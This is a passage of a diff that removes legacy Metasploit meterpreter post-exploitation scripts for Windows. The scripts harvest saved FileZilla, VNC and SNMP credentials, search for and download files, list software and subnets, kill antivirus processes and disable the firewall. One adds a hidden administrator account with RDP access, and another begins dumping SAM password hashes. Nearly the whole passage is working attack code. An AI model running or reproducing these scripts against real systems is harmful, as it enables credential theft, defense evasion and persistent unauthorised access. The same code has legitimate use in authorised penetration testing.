"-h" => [false, "Help menu." ],
"-i" => [true, "Input file with list of files to download, one per line."],
"-d" => [true, "Directory to start search on, search will be recursive."],
"-f" => [true, "Search blobs separated by a |."],
"-o" => [true, "Output File to save the full path of files found."],
"-r" => [false, "Search subdirectories."],
"-l" => [true, "Location where to save the files."]
)
# Function for displaying help message
def usage
print_line "Meterpreter Script for searching and downloading files that"
print_line "match a specific pattern. First save files to a file, edit and"
print_line("use that same file to download the choosen files.")
print_line(@opts.usage)
raise Rex::Script::Completed
end
# Check that we are running under the right type of Meterpreter
if client.platform =~ /win32|win64/
# Parse the options
if args.length > 0
@opts.parse(args) { |opt, idx, val|
case opt
when "-h"
usage
when "-i"
input_file = val
when "-o"
output_file = val
when "-d"
location = val
when "-f"
search_blob = val.split("|")
when "-r"
recurse = true
when "-l"
logs = val
end
}
# Search for files and save their location if specified
if search_blob.length > 0 and location
search_blob.each do |s|
print_status("Searching for #{s}")
results = @client.fs.file.search(location,s,recurse)
results.each do |file|
print_status("\t#{file['path']}\\#{file['name']} (#{file['size']} bytes)")
file_local_write(output_file,"#{file['path']}\\#{file['name']}") if output_file
end
end
end
# Read log file and download those files found
if input_file and logs
if ::File.exist?(input_file)
print_status("Reading file #{input_file}")
print_status("Downloading to #{logs}")
::File.open(input_file, "r").each_line do |line|
print_status("\tDownloading #{line.chomp}")
@client.fs.file.download(logs, line.chomp)
end
else
print_error("File #{input_file} does not exist!")
end
end
else
usage
end
else
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end

View File

@ -1,70 +0,0 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# module instead. Thank you.
##
# Meterpreter script for listing installed applications and their version.
# Provided: carlos_perez[at]darkoperator[dot]com
#Options and Option Parsing
opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ]
)
def app_list
tbl = Rex::Text::Table.new(
'Header' => "Installed Applications",
'Indent' => 1,
'Columns' => [
"Name",
"Version"
])
appkeys = ['HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall',
'HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall' ]
threadnum = 0
a = []
appkeys.each do |keyx86|
soft_keys = registry_enumkeys(keyx86)
if soft_keys
soft_keys.each do |k|
if threadnum < 10
a.push(::Thread.new {
begin
dispnm = registry_getvaldata("#{keyx86}\\#{k}","DisplayName")
dispversion = registry_getvaldata("#{keyx86}\\#{k}","DisplayVersion")
if dispnm =~ /\S*/
tbl << [dispnm,dispversion]
end
rescue
end
})
threadnum += 1
else
sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty?
threadnum = 0
end
end
end
end
print_line("\n" + tbl.to_s + "\n")
end
opts.parse(args) { |opt, idx, val|
case opt
when "-h"
print_line "Meterpreter Script for extracting a list installed applications and their version."
print_line(opts.usage)
raise Rex::Script::Completed
end
}
if client.platform =~ /win32|win64/
app_list
else
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end

View File

@ -1,177 +0,0 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# module instead. Thank you.
##
require "rexml/document"
#-------------------------------------------------------------------------------
#Options and Option Parsing
opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ],
"-c" => [ false, "Return credentials." ]
)
get_credentials=false
opts.parse(args) { |opt, idx, val|
case opt
when "-h"
print_line "Meterpreter Script for extracting servers and credentials from Filezilla."
print_line(opts.usage)
raise Rex::Script::Completed
when "-c"
get_credentials=true
end
}
### If we get here and have none of our flags true, then we'll just
### get credentials
if !(get_credentials)
get_credentials=true
end
#-------------------------------------------------------------------------------
#Set General Variables used in the script
@client = client
os = @client.sys.config.sysinfo['OS']
host = @client.sys.config.sysinfo['Computer']
# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
# Create a directory for the logs
logs = ::File.join(Msf::Config.log_directory, 'filezilla', Rex::FileUtils.clean_path(host + filenameinfo) )
# Create the log directory
::FileUtils.mkdir_p(logs)
#logfile name
dest = Rex::FileUtils.clean_path(logs + "/" + host + filenameinfo + ".txt")
#-------------------------------------------------------------------------------
#function for checking of FileZilla profile is present
def check_filezilla(path)
found = nil
@client.fs.dir.foreach(path) do |x|
next if x =~ /^(\.|\.\.)$/
if x =~ (/FileZilla/)
### If we find the path, let's return it
found = path + x
return found
end
end
return found
end
#-------------------------------------------------------------------------------
def extract_saved_creds(path,xml_file)
accounts_xml = ""
creds = ""
print_status("Reading #{xml_file} file...")
### modified to use pidgin_path, which already has .purple in it
account_file = @client.fs.file.new(path + "\\#{xml_file}", "rb")
until account_file.eof?
accounts_xml << account_file.read
end
account_file.close
doc = (REXML::Document.new accounts_xml).root
doc.elements.to_a("//Server").each do |e|
print_status "\tHost: #{e.elements["Host"].text}"
creds << "Host: #{e.elements["Host"].text}"
print_status "\tPort: #{e.elements["Port"].text}"
creds << "Port: #{e.elements["Port"].text}"
logon_type = e.elements["Logontype"].text
if logon_type == "0"
print_status "\tLogon Type: Anonymous"
creds << "Logon Type: Anonymous"
elsif logon_type =~ /1|4/
print_status "\tUser: #{e.elements["User"].text}"
creds << "User: #{e.elements["User"].text}"
print_status "\tPassword: #{e.elements["Pass"].text}"
creds << "Password: #{e.elements["Pass"].text}"
elsif logon_type =~ /2|3/
print_status "\tUser: #{e.elements["User"].text}"
creds << "User: #{e.elements["User"].text}"
end
proto = e.elements["Protocol"].text
if proto == "0"
print_status "\tProtocol: FTP"
creds << "Protocol: FTP"
elsif proto == "1"
print_status "\tProtocol: SSH"
creds << "Protocol: SSH"
elsif proto == "3"
print_status "\tProtocol: FTPS"
creds << "Protocol: FTPS"
elsif proto == "4"
print_status "\tProtocol: FTPES"
creds << "Protocol: FTPES"
end
print_status ""
creds << ""
end
#
return creds
end
#-------------------------------------------------------------------------------
#Function to enumerate the users if running as SYSTEM
def enum_users(os)
users = []
path4users = ""
sysdrv = @client.sys.config.getenv('SystemDrive')
if os =~ /7|Vista|2008/
path4users = sysdrv + "\\users\\"
path2purple = "\\AppData\\Roaming\\"
else
path4users = sysdrv + "\\Documents and Settings\\"
path2purple = "\\Application Data\\"
end
if is_system?
print_status("Running as SYSTEM extracting user list..")
@client.fs.dir.foreach(path4users) do |u|
userinfo = {}
next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
userinfo['username'] = u
userinfo['userappdata'] = path4users + u + path2purple
users << userinfo
end
else
userinfo = {}
uservar = @client.sys.config.getenv('USERNAME')
userinfo['username'] = uservar
userinfo['userappdata'] = path4users + uservar + path2purple
users << userinfo
end
return users
end
################## MAIN ##################
if client.platform =~ /win32|win64/
print_status("Running Meterpreter FileZilla Credential harvester script")
print_status("All services are logged at #{dest}")
enum_users(os).each do |u|
print_status("Checking if Filezilla profile is present for user :::#{u['username']}:::...")
### Find the path (if it exists) for this user,
filezilla_path = check_filezilla(u['userappdata'])
if filezilla_path
print_status("FileZilla profile found!")
### modified to use filezilla_path
xml_cfg_files = ['sitemanager.xml','recentservers.xml']
if get_credentials
xml_cfg_files.each do |xml_cfg_file|
file_local_write(dest,extract_saved_creds(filezilla_path,xml_cfg_file))
end
end
else
print_error("Filezilla profile not found!")
end
end
else
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end

View File

@ -1,35 +0,0 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# module instead. Thank you.
##
# Meterpreter script that display local subnets
# Provided by Nicob <nicob [at] nicob.net>
# Ripped from http://blog.metasploit.com/2006/10/meterpreter-scripts-and-msrt.html
@@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ]
)
def usage
print_line("Get a list of local subnets based on the host's routes")
print_line("USAGE: run get_local_subnets")
print_line(@@exec_opts.usage)
raise Rex::Script::Completed
end
@@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
usage
end
}
client.net.config.each_route { |route|
# Remove multicast and loopback interfaces
next if route.subnet =~ /^(224\.|127\.)/
next if route.subnet == '0.0.0.0'
next if route.netmask == '255.255.255.255'
print_line("Local subnet: #{route.subnet}/#{route.netmask}")
}

View File

@ -1,64 +0,0 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# module instead. Thank you.
##
#copied getvncpw - thanks grutz/carlos
session = client
@@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu."]
)
def usage()
print("\nPull the SNMP community string from a Windows Meterpreter session\n\n")
completed
end
def get_community(session)
key = "HKLM\\System\\CurrentControlSet\\Services\\SNMP\\Parameters\\ValidCommunities"
root_key, base_key = session.sys.registry.splitkey(key)
open_key = session.sys.registry.open_key(root_key,base_key,KEY_READ)
begin
# oddly enough this does not return the data field which indicates ro/rw
return open_key.enum_value.collect {|x| x.name}
rescue
# no registry key found or other error
return nil
end
end
@@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
usage
end
}
if client.platform =~ /win32|win64/
print_status("Searching for community strings...")
strs = get_community(session)
if strs
strs.each do |str|
print_good("FOUND: #{str}")
@client.framework.db.report_auth_info(
:host => client.sock.peerhost,
:port => 161,
:proto => 'udp',
:sname => 'snmp',
:user => '',
:pass => str,
:type => "snmp.community",
:duplicate_ok => true
)
end
else
print_status("Not found")
end
else
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end

View File

@ -1,381 +0,0 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# module instead. Thank you.
##
#
# Meterpreter script for detecting AV, HIPS, Third Party Firewalls, DEP Configuration and Windows Firewall configuration.
# Provides also the option to kill the processes of detected products and disable the built-in firewall.
# Provided by Carlos Perez at carlos_perez[at]darkoperator.com
# Version: 0.1.0
session = client
@@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ],
"-k" => [ false, "Kill any AV, HIPS and Third Party Firewall process found." ],
"-d" => [ false, "Disable built in Firewall" ]
)
def usage
print_line("Getcountermeasure -- List (or optionally, kill) HIPS and AV")
print_line("processes, show XP firewall rules, and display DEP and UAC")
print_line("policies")
print(@@exec_opts.usage)
raise Rex::Script::Completed
end
#-------------------------------------------------------------------------------
avs = %W{
a2adguard.exe
a2adwizard.exe
a2antidialer.exe
a2cfg.exe
a2cmd.exe
a2free.exe
a2guard.exe
a2hijackfree.exe
a2scan.exe
a2service.exe
a2start.exe
a2sys.exe
a2upd.exe
aavgapi.exe
aawservice.exe
aawtray.exe
ad-aware.exe
ad-watch.exe
alescan.exe
anvir.exe
ashdisp.exe
ashmaisv.exe
ashserv.exe
ashwebsv.exe
aswupdsv.exe
atrack.exe
avgagent.exe
avgamsvr.exe
avgcc.exe
avgctrl.exe
avgemc.exe
avgnt.exe
avgtcpsv.exe
avguard.exe
avgupsvc.exe
avgw.exe
avkbar.exe
avk.exe
avkpop.exe
avkproxy.exe
avkservice.exe
avktray
avktray.exe
avkwctl
avkwctl.exe
avmailc.exe
avp.exe
avpm.exe
avpmwrap.exe
avsched32.exe
avwebgrd.exe
avwin.exe
avwupsrv.exe
avz.exe
bdagent.exe
bdmcon.exe
bdnagent.exe
bdss.exe
bdswitch.exe
blackd.exe
blackice.exe
blink.exe
boc412.exe
boc425.exe
bocore.exe
bootwarn.exe
cavrid.exe
cavtray.exe
ccapp.exe
ccevtmgr.exe
ccimscan.exe
ccproxy.exe
ccpwdsvc.exe
ccpxysvc.exe
ccsetmgr.exe
cfgwiz.exe
cfp.exe
clamd.exe
clamservice.exe
clamtray.exe
cmdagent.exe
cpd.exe
cpf.exe
csinsmnt.exe
dcsuserprot.exe
defensewall.exe
defensewall_serv.exe
defwatch.exe
f-agnt95.exe
fpavupdm.exe
f-prot95.exe
f-prot.exe
fprot.exe
fsaua.exe
fsav32.exe
f-sched.exe
fsdfwd.exe
fsm32.exe
fsma32.exe
fssm32.exe
f-stopw.exe
f-stopw.exe
fwservice.exe
fwsrv.exe
iamstats.exe
iao.exe
icload95.exe
icmon.exe
idsinst.exe
idslu.exe
inetupd.exe
irsetup.exe
isafe.exe
isignup.exe
issvc.exe
kav.exe
kavss.exe
kavsvc.exe
klswd.exe
kpf4gui.exe
kpf4ss.exe
livesrv.exe
lpfw.exe
mcagent.exe
mcdetect.exe
mcmnhdlr.exe
mcrdsvc.exe
mcshield.exe
mctskshd.exe
mcvsshld.exe
mghtml.exe
mpftray.exe
msascui.exe
mscifapp.exe
msfwsvc.exe
msgsys.exe
msssrv.exe
navapsvc.exe
navapw32.exe
navlogon.dll
navstub.exe
navw32.exe
nisemsvr.exe
nisum.exe
nmain.exe
noads.exe
nod32krn.exe
nod32kui.exe
nod32ra.exe
npfmntor.exe
nprotect.exe
nsmdtr.exe
oasclnt.exe
ofcdog.exe
opscan.exe
ossec-agent.exe
outpost.exe
paamsrv.exe
pavfnsvr.exe
pcclient.exe
pccpfw.exe
pccwin98.exe
persfw.exe
protector.exe
qconsole.exe
qdcsfs.exe
rtvscan.exe
sadblock.exe
safe.exe
sandboxieserver.exe
savscan.exe
sbiectrl.exe
sbiesvc.exe
sbserv.exe
scfservice.exe
sched.exe
schedm.exe
scheduler daemon.exe
sdhelp.exe
serv95.exe
sgbhp.exe
sgmain.exe
slee503.exe
smartfix.exe
smc.exe
snoopfreesvc.exe
snoopfreeui.exe
spbbcsvc.exe
sp_rsser.exe
spyblocker.exe
spybotsd.exe
spysweeper.exe
spysweeperui.exe
spywareguard.dll
spywareterminatorshield.exe
ssu.exe
steganos5.exe
stinger.exe
swdoctor.exe
swupdate.exe
symlcsvc.exe
symundo.exe
symwsc.exe
symwscno.exe
tcguard.exe
tds2-98.exe
tds-3.exe
teatimer.exe
tgbbob.exe
tgbstarter.exe
tsatudt.exe
umxagent.exe
umxcfg.exe
umxfwhlp.exe
umxlu.exe
umxpol.exe
umxtray.exe
usrprmpt.exe
vetmsg9x.exe
vetmsg.exe
vptray.exe
vsaccess.exe
vsserv.exe
wcantispy.exe
win-bugsfix.exe
winpatrol.exe
winpatrolex.exe
wrsssdk.exe
xcommsvr.exe
xfr.exe
xp-antispy.exe
zegarynka.exe
zlclient.exe
}
#-------------------------------------------------------------------------------
# Check for the presence of AV, HIPS and Third Party firewall and/or kill the
# processes associated with it
def check(session,avs,killbit)
print_status("Checking for contermeasures...")
session.sys.process.get_processes().each do |x|
if (avs.index(x['name'].downcase))
print_status("\tPossible countermeasure found #{x['name']} #{x['path']}")
if (killbit)
print_status("\tKilling process for countermeasure.....")
session.sys.process.kill(x['pid'])
end
end
end
end
#-------------------------------------------------------------------------------
# Get the configuration and/or disable the built in Windows Firewall
def checklocalfw(session,killfw)
print_status("Getting Windows Built in Firewall configuration...")
opmode = ""
r = session.sys.process.execute("cmd.exe /c netsh firewall show opmode", nil, {'Hidden' => 'true', 'Channelized' => true})
while(d = r.channel.read)
opmode << d
end
r.channel.close
r.close
opmode.split("\n").each do |o|
print_status("\t#{o}")
end
if (killfw)
print_status("Disabling Built in Firewall.....")
f = session.sys.process.execute("cmd.exe /c netsh firewall set opmode mode=DISABLE", nil, {'Hidden' => 'true','Channelized' => true})
while(d = f.channel.read)
if d =~ /The requested operation requires elevation./
print_status("\tUAC or Insufficient permissions prevented the disabling of Firewall")
end
end
f.channel.close
f.close
end
end
#-------------------------------------------------------------------------------
# Function for getting the current DEP Policy on the Windows Target
def checkdep(session)
tmpout = ""
depmode = ""
# Expand environment %TEMP% variable
tmp = session.sys.config.getenv('TEMP')
# Create random name for the wmic output
wmicfile = sprintf("%.5d",rand(100000))
wmicout = "#{tmp}\\#{wmicfile}"
print_status("Checking DEP Support Policy...")
r = session.sys.process.execute("cmd.exe /c wmic /append:#{wmicout} OS Get DataExecutionPrevention_SupportPolicy", nil, {'Hidden' => true})
sleep(2)
r.close
r = session.sys.process.execute("cmd.exe /c type #{wmicout}", nil, {'Hidden' => 'true','Channelized' => true})
while(d = r.channel.read)
tmpout << d
end
r.channel.close
r.close
session.sys.process.execute("cmd.exe /c del #{wmicout}", nil, {'Hidden' => true})
depmode = tmpout.scan(/(\d)/)
if depmode.to_s == "0"
print_status("\tDEP is off for the whole system.")
elsif depmode.to_s == "1"
print_status("\tFull DEP coverage for the whole system with no exceptions.")
elsif depmode.to_s == "2"
print_status("\tDEP is limited to Windows system binaries.")
elsif depmode.to_s == "3"
print_status("\tDEP is on for all programs and services.")
end
end
#-------------------------------------------------------------------------------
def checkuac(session)
print_status("Checking if UAC is enabled ...")
key = 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System'
root_key, base_key = session.sys.registry.splitkey(key)
value = "EnableLUA"
open_key = session.sys.registry.open_key(root_key, base_key, KEY_READ)
v = open_key.query_value(value)
if v.data == 1
print_status("\tUAC is Enabled")
else
print_status("\tUAC is Disabled")
end
end
################## MAIN ##################
killbt = false
killfw = false
@@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-k"
killbt = true
when "-d"
killfw = true
when "-h"
usage
end
}
# get the version of windows
if client.platform =~ /win32|win64/
wnvr = session.sys.config.sysinfo["OS"]
print_status("Running Getcountermeasure on the target...")
check(session,avs,killbt)
if wnvr !~ /Windows 2000/
checklocalfw(session, killfw)
checkdep(session)
end
if wnvr =~ /Windows Vista/
checkuac(session)
end
else
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end

View File

@ -1,190 +0,0 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# module instead. Thank you.
##
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
#-------------------------------------------------------------------------------
################## Variable Declarations ##################
session = client
host_name = client.sys.config.sysinfo['Computer']
# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
# Create a directory for the logs
logs = ::File.join(Msf::Config.log_directory,'scripts', 'getgui')
# Create the log directory
::FileUtils.mkdir_p(logs)
# Cleaup script file name
@dest = logs + "/clean_up_" + filenameinfo + ".rc"
@@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ],
"-e" => [ false, "Enable RDP only." ],
"-p" => [ true, "The Password of the user to add." ],
"-u" => [ true, "The Username of the user to add." ],
"-f" => [ true, "Forward RDP Connection." ]
)
def usage
print_line("Windows Remote Desktop Enabler Meterpreter Script")
print_line("Usage: getgui -u <username> -p <password>")
print_line("Or: getgui -e")
print(@@exec_opts.usage)
raise Rex::Script::Completed
end
def enablerd()
key = 'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server'
value = "fDenyTSConnections"
begin
v = registry_getvaldata(key,value)
print_status "Enabling Remote Desktop"
if v == 1
print_status "\tRDP is disabled; enabling it ..."
registry_setvaldata(key,value,0,"REG_DWORD")
file_local_write(@dest,"reg setval -k \'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\' -v 'fDenyTSConnections' -d \"1\"")
else
print_status "\tRDP is already enabled"
end
rescue::Exception => e
print_status("The following Error was encountered: #{e.class} #{e}")
end
end
def enabletssrv()
rdp_key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\TermService"
begin
v2 = registry_getvaldata(rdp_key,"Start")
print_status "Setting Terminal Services service startup mode"
if v2 != 2
print_status "\tThe Terminal Services service is not set to auto, changing it to auto ..."
service_change_startup("TermService","auto")
file_local_write(@dest,"execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"")
cmd_exec("sc start termservice")
file_local_write(@dest,"execute -H -f cmd.exe -a \"/c sc stop termservice\"")
else
print_status "\tTerminal Services service is already set to auto"
end
#Enabling Exception on the Firewall
print_status "\tOpening port in local firewall if necessary"
cmd_exec('netsh firewall set service type = remotedesktop mode = enable')
file_local_write(@dest,"execute -H -f cmd.exe -a \"/c 'netsh firewall set service type = remotedesktop mode = enable'\"")
rescue::Exception => e
print_status("The following Error was encountered: #{e.class} #{e}")
end
end
def addrdpusr(session, username, password)
rdu = resolve_sid("S-1-5-32-555")[:name]
admin = resolve_sid("S-1-5-32-544")[:name]
print_status "Setting user account for logon"
print_status "\tAdding User: #{username} with Password: #{password}"
begin
addusr_out = cmd_exec("cmd.exe", "/c net user #{username} #{password} /add")
if addusr_out =~ /success/i
file_local_write(@dest,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"")
print_status "\tHiding user from Windows Login screen"
hide_user_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'
registry_setvaldata(hide_user_key,username,0,"REG_DWORD")
file_local_write(@dest,"reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}")
print_status "\tAdding User: #{username} to local group '#{rdu}'"
cmd_exec("cmd.exe","/c net localgroup \"#{rdu}\" #{username} /add")
print_status "\tAdding User: #{username} to local group '#{admin}'"
cmd_exec("cmd.exe","/c net localgroup #{admin} #{username} /add")
print_status "You can now login with the created user"
else
print_error("Account could not be created")
print_error("Error:")
addusr_out.each_line do |l|
print_error("\t#{l.chomp}")
end
end
rescue::Exception => e
print_status("The following Error was encountered: #{e.class} #{e}")
end
end
def message
print_status "Windows Remote Desktop Configuration Meterpreter Script by Darkoperator"
print_status "Carlos Perez carlos_perez@darkoperator.com"
end
################## MAIN ##################
# Parsing of Options
usr = nil
pass = nil
lang = nil
lport = 1024 + rand(1024)
enbl = nil
frwrd = nil
@@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-u"
usr = val
when "-p"
pass = val
when "-h"
usage
when "-f"
frwrd = true
lport = val
when "-e"
enbl = true
end
}
if client.platform =~ /win32|win64/
if args.length > 0
if enbl or (usr and pass)
message
if enbl
if is_admin?
enablerd()
enabletssrv()
else
print_error("Insufficient privileges, Remote Desktop Service was not modified.")
end
end
if usr and pass
if is_admin?
addrdpusr(session, usr, pass)
else
print_error("Insufficient privileges, account was not be created.")
end
end
if frwrd == true
print_status("Starting the port forwarding at local port #{lport}")
client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p 3389 -r 127.0.0.1")
end
print_status("For cleanup use command: run multi_console_command -rc #{@dest}")
else
usage
end
else
usage
end
else
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end

View File

@ -1,109 +0,0 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# module instead. Thank you.
##
#----------------------------------------------------------------
# Meterpreter script to obtain the VNC password out of the
# registry and print its decoded cleartext
#
# by Kurt Grutzmacher <grutz@jingojango.net>
#
# rev history
# -----------
# 1.0 - 9/24/9 - Initial release
#----------------------------------------------------------------
require 'rex/proto/rfb/cipher'
session = client
@@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu."],
"-k" => [ true, "Specific registry key to search (minus Password)."],
"-l" => [ false, "List default key locations"]
)
def usage()
print("\nPull the VNC Password from a Windows Meterpreter session\n")
print("By default an internal list of keys will be searched.\n\n")
print("\t-k\tSpecific key to search (e.g. HKLM\\\\Software\\\\ORL\\\\WinVNC3\\\\Default)\n")
print("\t-l\tList default key locations\n\n")
completed
end
def get_vncpw(session, key)
root_key, base_key = session.sys.registry.splitkey(key)
open_key = session.sys.registry.open_key(root_key,base_key,KEY_READ)
begin
return open_key.query_value('Password')
rescue
# no registry key found or other error
return nil
end
end
def listkeylocations(keys)
print_line("\nVNC Registry Key Locations")
print_line("--------------------------\n")
keys.each { |key|
print_line("\t#{key}")
}
completed
end
# fixed des key
fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
# 5A B2 CD C0 BA DC AF 13
# some common places for VNC password hashes
keys = [
'HKLM\\Software\\ORL\\WinVNC3', 'HKCU\\Software\\ORL\\WinVNC3',
'HKLM\\Software\\ORL\\WinVNC3\\Default', 'HKCU\\Software\\ORL\\WinVNC3\\Default',
'HKLM\\Software\\ORL\\WinVNC\\Default', 'HKCU\\Software\\ORL\\WinVNC\\Default',
'HKLM\\Software\\RealVNC\\WinVNC4', 'HKCU\\Software\\RealVNC\\WinVNC4',
'HKLM\\Software\\RealVNC\\Default', 'HKCU\\Software\\RealVNC\\Default',
]
# parse the command line
listkeylocs = false
keytosearch = nil
@@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
usage
when "-l"
listkeylocations(keys)
when "-k"
keytosearch = val
end
}
if client.platform =~ /win32|win64/
if keytosearch == nil
print_status("Searching for VNC Passwords in the registry....")
keys.each { |key|
vncpw = get_vncpw(session, key)
if vncpw
vncpw_hextext = vncpw.data.unpack("H*").to_s
vncpw_text = Rex::Proto::RFB::Cipher.decrypt vncpw.data, fixedkey
print_status("FOUND in #{key} -=> #{vncpw_hextext} => #{vncpw_text}")
end
}
else
print_status("Searching in regkey: #{keytosearch}")
vncpw = get_vncpw(session, keytosearch)
if vncpw
vncpw_hextext = vncpw.data.unpack("H*").to_s
vncpw_text = Rex::Proto::RFB::Cipher.decrypt vncpw.data, fixedkey
print_status("FOUND in #{keytosearch} -=> #{vncpw_hextext} => #{vncpw_text}")
else
print_status("Not found")
end
end
else
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end

View File

@ -1,306 +0,0 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# module instead. Thank you.
##
#
# Implement pwdump (hashdump) through registry reads + syskey
@client = client
opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ],
"-p" => [ true, "The SMB port used to associated credentials."]
)
smb_port = 445
opts.parse(args) { |opt, idx, val|
case opt
when "-h"
print_line "hashdump -- dump SMB hashes to the database"
print_line(opts.usage)
raise Rex::Script::Completed
when "-p"
smb_port = val.to_i
end
}
# Constants for SAM decryption
@sam_lmpass = "LMPASSWORD\x00"
@sam_ntpass = "NTPASSWORD\x00"
@sam_qwerty = "!@\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\x00"
@sam_numeric = "0123456789012345678901234567890123456789\x00"
@sam_empty_lm = ["aad3b435b51404eeaad3b435b51404ee"].pack("H*")
@sam_empty_nt = ["31d6cfe0d16ae931b73c59d7e0c089c0"].pack("H*")
@des_odd_parity = [
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
]
def capture_boot_key
bootkey = ""
basekey = "System\\CurrentControlSet\\Control\\Lsa"
%W{JD Skew1 GBG Data}.each do |k|
ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ)
return nil if not ok
bootkey << [ok.query_class.to_i(16)].pack("V")
ok.close
end
keybytes = bootkey.unpack("C*")
descrambled = ""
# descrambler = [ 0x08, 0x05, 0x04, 0x02, 0x0b, 0x09, 0x0d, 0x03, 0x00, 0x06, 0x01, 0x0c, 0x0e, 0x0a, 0x0f, 0x07 ]
descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ]
0.upto(keybytes.length-1) do |x|
descrambled << [ keybytes[ descrambler[x] ] ].pack("C")
end
descrambled
end
def capture_hboot_key(bootkey)
ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account", KEY_READ)
return if not ok
vf = ok.query_value("F")
return if not vf
vf = vf.data
ok.close
hash = Digest::MD5.new
hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)
rc4 = OpenSSL::Cipher::Cipher.new("rc4")
rc4.key = hash.digest
hbootkey = rc4.update(vf[0x80, 32])
hbootkey << rc4.final
return hbootkey
end
def capture_user_keys
users = {}
ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users", KEY_READ)
return if not ok
ok.enum_key.each do |usr|
uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{usr}", KEY_READ)
next if usr == 'Names'
users[usr.to_i(16)] ||={}
users[usr.to_i(16)][:F] = uk.query_value("F").data
users[usr.to_i(16)][:V] = uk.query_value("V").data
#Attempt to get Hints (from Win7/Win8 Location)
begin
